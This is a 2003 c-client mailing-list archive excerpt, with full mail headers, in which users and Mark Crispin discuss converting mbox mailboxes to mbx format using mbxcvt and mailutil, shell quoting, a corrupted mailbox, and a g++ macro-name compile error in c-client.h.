List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Harondel J. Sibble" To: Mark Crispin Cc: c-client@u.washington.edu Subject: Re: error during compile of mbxcvt In-Reply-To: References: <200302030141.RAA00828@sheridan.sibble.com> MIME-Version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7BIT Content-description: Mail message body X-LINE1: ABCDEF0123456789 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On 2 Feb 2003 at 17:48, Mark Crispin wrote: > It would be a concern if mbxcvt ran setuid to some other user or otherwise > with elevated privileges. But it doesn't. About what I figured. > However, that leads to a different question; why are you using mbxcvt? > mailutil is bundled with imap-2002b and completely supercedes mbxcvt. I remember reading something about that when going through the docs, however the reason I am using mbxcvt is I am following the instructions here http://linux-sxs.org/mbx.html This was from the "changing location of mbx mailbox" thread from last week. I decided to just go ahead with mbx in home dirs and work the cd backup around the change. Is there a major advantage to using mailutil over mbxcvt? On my test system mbxcvt seemed to work fine. I am just about to run it on the real server with the user's mbox mailboxes some of which are up to 35mb+ in size. -- Harondel J. Sibble Sibble Computer Consulting Creating solutions for the small business and home computer user. help@pdscc.com (use pgp keyid 0x3AD5C11D) http://www.pdscc.com (604) 739-3709 (voice/fax) (604) 686-2253 (pager) From pinedev@shivax2.cac.washington.edu Sun Feb 2 18:35:32 2003 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Sun, 2 Feb 2003 18:35:32 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h132ZWTk004293 for ; Sun, 2 Feb 2003 18:35:32 -0800 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h132ZRnO019535 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Sun, 2 Feb 2003 18:35:28 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with SMTP id h132Yn09028252; Sun, 2 Feb 2003 18:34:49 -0800 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h132Y0CK051714 for ; Sun, 2 Feb 2003 18:34:00 -0800 Received: from mxout1.cac.washington.edu (mxout1.cac.washington.edu [140.142.32.134]) by mxu2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h132XwQZ022908 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Sun, 2 Feb 2003 18:33:58 -0800 Received: from smtp.washington.edu (smtp.washington.edu [140.142.32.139]) by mxout1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h132XvJA030229; Sun, 2 Feb 2003 18:33:57 -0800 Received: from Shimo-Tomobiki.Panda.COM (panda.com [206.124.149.114]) (authenticated bits=0) by smtp.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h132XsTZ013599 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Sun, 2 Feb 2003 18:33:56 -0800 Message-Id: Date: Sun, 2 Feb 2003 18:33:57 -0800 (Pacific Standard Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: "Harondel J. Sibble" Cc: c-client@u.washington.edu Subject: Re: error during compile of mbxcvt In-Reply-To: <200302030213.SAA01013@sheridan.sibble.com> References: <200302030141.RAA00828@sheridan.sibble.com> <200302030213.SAA01013@sheridan.sibble.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: mrc@ndcms.cac.washington.edu X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Sun, 2 Feb 2003, Harondel J. Sibble wrote: > Is there a major advantage to using mailutil over mbxcvt? mailutil is supported. mbxcvt is no longer supported. mbxcvt should continue to work as well as it ever has, but no further development will be done on it, and if you have a problem with it, the answer will be "try mailutil". -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. From pinedev@shivax2.cac.washington.edu Sun Feb 2 18:51:09 2003 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Sun, 2 Feb 2003 18:51:09 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h132p8Tk004516 for ; Sun, 2 Feb 2003 18:51:08 -0800 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h132p5nO019818 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Sun, 2 Feb 2003 18:51:06 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with SMTP id h132o6jm032556; Sun, 2 Feb 2003 18:50:06 -0800 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h132n3CK081350 for ; Sun, 2 Feb 2003 18:49:03 -0800 Received: from sheridan.sibble.com (s64-180-126-175.bc.hsia.telus.net [64.180.126.175]) by mxu2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h132n1QY025299 for ; Sun, 2 Feb 2003 18:49:01 -0800 Received: from gkar (jakar2.sibble.com [192.168.73.4]) by sheridan.sibble.com (8.9.3/8.9.3) with ESMTP id SAA01168; Sun, 2 Feb 2003 18:48:13 -0800 Message-Id: <200302030248.SAA01168@sheridan.sibble.com> Date: Sun, 02 Feb 2003 18:48:58 -0800 Reply-To: help@pdscc.com Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Harondel J. Sibble" To: Mark Crispin Cc: c-client@u.washington.edu Subject: Re: error during compile of mbxcvt In-Reply-To: References: <200302030213.SAA01013@sheridan.sibble.com> MIME-Version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7BIT Content-description: Mail message body X-LINE1: ABCDEF0123456789 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On 2 Feb 2003 at 18:33, Mark Crispin wrote: > mailutil is supported. mbxcvt is no longer supported. Gotcha. The docs say You can use the "mailutil copy" command to copy an existing mailbox to a new mailbox in mbx format. Read the man page provided with the mailutil program for details But, there is no manpage for it on my system. So by running mailutil without any args I get following: mailutil (copy | move) [-debug] [-verbose] old_mailbox new_mailbox ;; create new mailbox and copy/move messages So to follow the "special case" of mbxcvt - mbxcvt INBOX mbx INBOX, with mailutil I'd do: mailutil copy INBOX mbx INBOX or some other invocation? > mbxcvt should continue to work as well as it ever has, but no further > development will be done on it, and if you have a problem with it, the > answer will be "try mailutil". Understood. -- Harondel J. Sibble Sibble Computer Consulting Creating solutions for the small business and home computer user. help@pdscc.com (use pgp keyid 0x3AD5C11D) http://www.pdscc.com (604) 739-3709 (voice/fax) (604) 686-2253 (pager) From pinedev@shivax2.cac.washington.edu Sun Feb 2 18:55:47 2003 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Sun, 2 Feb 2003 18:55:47 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h132tlTk004587 for ; Sun, 2 Feb 2003 18:55:47 -0800 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h132thWb024044 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Sun, 2 Feb 2003 18:55:43 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with SMTP id h132tEll015464; Sun, 2 Feb 2003 18:55:14 -0800 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.32.133]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h132srCK081218 for ; Sun, 2 Feb 2003 18:54:53 -0800 Received: from mxout3.cac.washington.edu (mxout3.cac.washington.edu [140.142.32.166]) by mxu3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h132smkq007809 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Sun, 2 Feb 2003 18:54:48 -0800 Received: from smtp.washington.edu (smtp.washington.edu [140.142.33.9]) by mxout3.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h132skAa025539; Sun, 2 Feb 2003 18:54:47 -0800 Received: from Shimo-Tomobiki.Panda.COM (panda.com [206.124.149.114]) (authenticated bits=0) by smtp.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h132siup012972 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Sun, 2 Feb 2003 18:54:46 -0800 Message-Id: Date: Sun, 2 Feb 2003 18:54:47 -0800 (Pacific Standard Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: "Harondel J. Sibble" Cc: c-client@u.washington.edu Subject: Re: error during compile of mbxcvt In-Reply-To: <200302030248.SAA01168@sheridan.sibble.com> References: <200302030213.SAA01013@sheridan.sibble.com> <200302030248.SAA01168@sheridan.sibble.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: mrc@ndcms.cac.washington.edu X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Sun, 2 Feb 2003, Harondel J. Sibble wrote: > The docs say >[snip] > But, there is no manpage for it on my system. Those docs *are* the man page. Install them as the man page. > So to follow the "special case" of mbxcvt - mbxcvt INBOX mbx INBOX, with > mailutil I'd do: > mailutil copy INBOX mbx INBOX or some other invocation? mailutil copy INBOX #driver.mbx/INBOX Or just mailutil create #driver.mbx/INBOX then run any c-client application that opens INBOX. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. From pinedev@shivax2.cac.washington.edu Sun Feb 2 19:05:48 2003 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Sun, 2 Feb 2003 19:05:48 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h1335mTk004751 for ; Sun, 2 Feb 2003 19:05:48 -0800 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h1335inO020083 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Sun, 2 Feb 2003 19:05:45 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with SMTP id h1335609005782; Sun, 2 Feb 2003 19:05:06 -0800 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.32.133]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h13347CK045502 for ; Sun, 2 Feb 2003 19:04:07 -0800 Received: from sheridan.sibble.com (s64-180-126-175.bc.hsia.telus.net [64.180.126.175]) by mxu3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h13345kp008852 for ; Sun, 2 Feb 2003 19:04:06 -0800 Received: from gkar (jakar2.sibble.com [192.168.73.4]) by sheridan.sibble.com (8.9.3/8.9.3) with ESMTP id TAA01265; Sun, 2 Feb 2003 19:03:18 -0800 Message-Id: <200302030303.TAA01265@sheridan.sibble.com> Date: Sun, 02 Feb 2003 19:04:03 -0800 Reply-To: help@pdscc.com Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Harondel J. Sibble" To: Mark Crispin Cc: c-client@u.washington.edu Subject: Re: error during compile of mbxcvt In-Reply-To: References: <200302030248.SAA01168@sheridan.sibble.com> MIME-Version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7BIT Content-description: Mail message body X-LINE1: ABCDEF0123456789 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On 2 Feb 2003 at 18:54, Mark Crispin wrote: > Those docs *are* the man page. Install them as the man page. AHHH! > mailutil copy INBOX #driver.mbx/INBOX > Or just > mailutil create #driver.mbx/INBOX Okay great, now I understand, last question, is there a simple way to run this for all users in one go, so that I don't have to login as each user to do the conversion? -- Harondel J. Sibble Sibble Computer Consulting Creating solutions for the small business and home computer user. help@pdscc.com (use pgp keyid 0x3AD5C11D) http://www.pdscc.com (604) 739-3709 (voice/fax) (604) 686-2253 (pager) From pinedev@shivax2.cac.washington.edu Sun Feb 2 19:25:32 2003 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Sun, 2 Feb 2003 19:25:31 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h133PVTk005147 for ; Sun, 2 Feb 2003 19:25:31 -0800 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h133PRWb024707 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Sun, 2 Feb 2003 19:25:28 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with SMTP id h133Ovll028602; Sun, 2 Feb 2003 19:24:57 -0800 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.132]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h133O9CK066020 for ; Sun, 2 Feb 2003 19:24:09 -0800 Received: from sheridan.sibble.com (s64-180-126-175.bc.hsia.telus.net [64.180.126.175]) by mxu1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h133O7fV023349 for ; Sun, 2 Feb 2003 19:24:08 -0800 Received: from gkar (jakar2.sibble.com [192.168.73.4]) by sheridan.sibble.com (8.9.3/8.9.3) with ESMTP id TAA01346; Sun, 2 Feb 2003 19:23:19 -0800 Message-Id: <200302030323.TAA01346@sheridan.sibble.com> Date: Sun, 02 Feb 2003 19:24:05 -0800 Reply-To: help@pdscc.com Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Harondel J. Sibble" To: Mark Crispin Cc: c-client@u.washington.edu Subject: Re: error during compile of mbxcvt In-Reply-To: References: <200302030248.SAA01168@sheridan.sibble.com> MIME-Version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7BIT Content-description: Mail message body X-LINE1: ABCDEF0123456789 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On 2 Feb 2003 at 18:54, Mark Crispin wrote: > mailutil copy INBOX #driver.mbx/INBOX Hmmm, odd, that is not working, I've su'd to one of the user accounts. [stapleto@server1 mail]$ mailutil copy INBOX #driver.mbx/INBOX usage: mailutil copy [-debug] [-verbose] source destination I just get back the usage info each time. Am I missing something? -- Harondel J. Sibble Sibble Computer Consulting Creating solutions for the small business and home computer user. help@pdscc.com (use pgp keyid 0x3AD5C11D) http://www.pdscc.com (604) 739-3709 (voice/fax) (604) 686-2253 (pager) From pinedev@shivax2.cac.washington.edu Sun Feb 2 20:34:29 2003 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Sun, 2 Feb 2003 20:34:29 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h134YTTk006319 for ; Sun, 2 Feb 2003 20:34:29 -0800 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h134YNnO021914 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Sun, 2 Feb 2003 20:34:24 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with SMTP id h134XsDb083318; Sun, 2 Feb 2003 20:33:54 -0800 Received: from mxu5.u.washington.edu (mxu5.u.washington.edu [140.142.32.164]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h134WpCK067928 for ; Sun, 2 Feb 2003 20:32:51 -0800 Received: from mxout3.cac.washington.edu (mxout3.cac.washington.edu [140.142.32.166]) by mxu5.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h134WnZ8004257 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Sun, 2 Feb 2003 20:32:49 -0800 Received: from smtp.washington.edu (smtp.washington.edu [140.142.32.139]) by mxout3.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h134WmAa030590; Sun, 2 Feb 2003 20:32:48 -0800 Received: from Shimo-Tomobiki.Panda.COM (panda.com [206.124.149.114]) (authenticated bits=0) by smtp.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h134WjTZ015666 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Sun, 2 Feb 2003 20:32:47 -0800 Message-Id: Date: Sun, 2 Feb 2003 20:32:50 -0800 (Pacific Standard Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: "Harondel J. Sibble" Cc: c-client@u.washington.edu Subject: Re: error during compile of mbxcvt In-Reply-To: <200302030323.TAA01346@sheridan.sibble.com> References: <200302030248.SAA01168@sheridan.sibble.com> <200302030323.TAA01346@sheridan.sibble.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: mrc@ndcms.cac.washington.edu X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Sun, 2 Feb 2003, Harondel J. Sibble wrote: > [stapleto@server1 mail]$ mailutil copy INBOX #driver.mbx/INBOX > usage: mailutil copy [-debug] [-verbose] source destination > > Am I missing something? Yup; "#" is probably the comment character for your shell. So you need to quote the second argument: mailutil copy INBOX "#driver.mbx/INBOX" -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. From pinedev@shivax2.cac.washington.edu Sun Feb 2 20:35:06 2003 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Sun, 2 Feb 2003 20:35:06 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h134Z5Tk006324 for ; Sun, 2 Feb 2003 20:35:05 -0800 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h134Z3nO021938 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Sun, 2 Feb 2003 20:35:03 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with SMTP id h134YcDb017282; Sun, 2 Feb 2003 20:34:39 -0800 Received: from mxu5.u.washington.edu (mxu5.u.washington.edu [140.142.32.164]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h134XuCK052946 for ; Sun, 2 Feb 2003 20:33:56 -0800 Received: from mxout5.cac.washington.edu (mxout5.cac.washington.edu [140.142.32.135]) by mxu5.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h134XsZ8004422 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Sun, 2 Feb 2003 20:33:54 -0800 Received: from smtp.washington.edu (smtp.washington.edu [140.142.32.139]) by mxout5.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h134XrFR002101; Sun, 2 Feb 2003 20:33:53 -0800 Received: from Shimo-Tomobiki.Panda.COM (panda.com [206.124.149.114]) (authenticated bits=0) by smtp.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h134XpTZ015682 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Sun, 2 Feb 2003 20:33:52 -0800 Message-Id: Date: Sun, 2 Feb 2003 20:33:55 -0800 (Pacific Standard Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: "Harondel J. Sibble" Cc: c-client@u.washington.edu Subject: Re: error during compile of mbxcvt In-Reply-To: <200302030303.TAA01265@sheridan.sibble.com> References: <200302030248.SAA01168@sheridan.sibble.com> <200302030303.TAA01265@sheridan.sibble.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: mrc@ndcms.cac.washington.edu X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Sun, 2 Feb 2003, Harondel J. Sibble wrote: > Okay great, now I understand, last question, is there a simple way to run > this for all users in one go, so that I don't have to login as each user to > do the conversion? At the current time, no. But you could write a shell script to do it... -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. From pinedev@shivax2.cac.washington.edu Sun Feb 2 21:01:06 2003 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Sun, 2 Feb 2003 21:01:06 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h13516Tk006769 for ; Sun, 2 Feb 2003 21:01:06 -0800 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h13513nO022454 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Sun, 2 Feb 2003 21:01:03 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with SMTP id h1350Ujm004000; Sun, 2 Feb 2003 21:00:30 -0800 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.32.133]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h134xXCK065958 for ; Sun, 2 Feb 2003 20:59:33 -0800 Received: from sheridan.sibble.com (s64-180-126-175.bc.hsia.telus.net [64.180.126.175]) by mxu3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h134xWkp022973 for ; Sun, 2 Feb 2003 20:59:32 -0800 Received: from gkar (jakar2.sibble.com [192.168.73.4]) by sheridan.sibble.com (8.9.3/8.9.3) with ESMTP id UAA01693 for ; Sun, 2 Feb 2003 20:58:45 -0800 Message-Id: <200302030458.UAA01693@sheridan.sibble.com> Date: Sun, 02 Feb 2003 20:59:30 -0800 Reply-To: help@pdscc.com Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Harondel J. Sibble" To: c-client@u.washington.edu Subject: problem with a mbox file MIME-Version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7BIT Content-description: Mail message body X-LINE1: ABCDEF0123456789 X-Uwash-Spam: Gauge=XIIII, Probability=14%, Report="MSG_ID_ADDED_BY_MTA_3, SIGNATURE_LONG_SPARSE, SPAM_PHRASE_01_02, __EVITE_CTYPE" X-Uwash-Spam: Gauge=III, Probability=3%, Report="NOSPAM_INC, SIGNATURE_SHORT_DENSE, SPAM_PHRASE_00_01, __EVITE_CTYPE, __HAS_X_MAILER" X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hmm, during the conversion from mbox (/var/spool/mail/username) to mbx (~INBOX), I notice that one of the user's mailbox is likely corrupted (or something), both mbxcvt and mailutil choke on converting. Running pine against the mbox file gives an error that the file is not in a valid mbox format. Doing a mailutil create "#driver.mbx/INBOX" works fine until I run pine again, then pine dies with an error "Problem detected: "Out of Memory. Pine exiting." Any suggestions on what I should do next to suss out and resolve the problem so that I can convert this (last) mbox file to mbx? -- Harondel J. Sibble Sibble Computer Consulting Creating solutions for the small business and home computer user. help@pdscc.com (use pgp keyid 0x3AD5C11D) http://www.pdscc.com (604) 739-3709 (voice/fax) (604) 686-2253 (pager) -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Sun Feb 2 21:16:33 2003 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Sun, 2 Feb 2003 21:16:33 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h135GXTk007084 for ; Sun, 2 Feb 2003 21:16:33 -0800 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h135GRnO022780 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Sun, 2 Feb 2003 21:16:28 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with SMTP id h135Fwll015026; Sun, 2 Feb 2003 21:15:59 -0800 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h135F6CK068058 for ; Sun, 2 Feb 2003 21:15:06 -0800 Received: from metric.it.uab.edu (metric.it.uab.edu [138.26.182.19]) by mxu2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h135F5QY010275 for ; Sun, 2 Feb 2003 21:15:05 -0800 Received: (from zach@localhost) by metric.it.uab.edu (8.11.6/8.11.6) id h135F4M26735 for c-client@u.washington.edu; Sun, 2 Feb 2003 23:15:04 -0600 Message-Id: <20030202231504.A26678@neurosoft.org> Date: Sun, 2 Feb 2003 23:15:04 -0600 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Zachariah P. Garner" To: c-client@u.washington.edu Subject: g++ 3.2 doesn't like "#define and" Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN X-Uwash-Spam: Gauge=XXIIIII, Probability=25%, Report="RCVD_IN_MULTIHOP_DSBL, RCVD_IN_UNCONFIRMED_DSBL, SIGNATURE_SHORT_DENSE, SPAM_PHRASE_00_01, __EVITE_CTYPE" I get the following errors when using gcc 3.2.1 when compiling some C++ code that includes c-client.h: | /usr/local/include/c-client/c-client.h:27:9: "and" cannot be used as a macro | name as it is an operator in C++ | /usr/local/include/c-client/c-client.h:28:9: "or" cannot be used as a macro | name as it is an operator in C++ | /usr/local/include/c-client/c-client.h:29:9: "not" cannot be used as a macro | name as it is an operator in C++ Does anyone know a work-around for this? (aside from the obvious solution of not using C++, not using gcc 3.2 or not using c-client) Thanks, Zach Garner -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Sun Feb 2 22:07:16 2003 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Sun, 2 Feb 2003 22:07:16 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h1367GTk008176 for ; Sun, 2 Feb 2003 22:07:16 -0800 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h1367DWb027746 (version=TLSv1/SSLv3 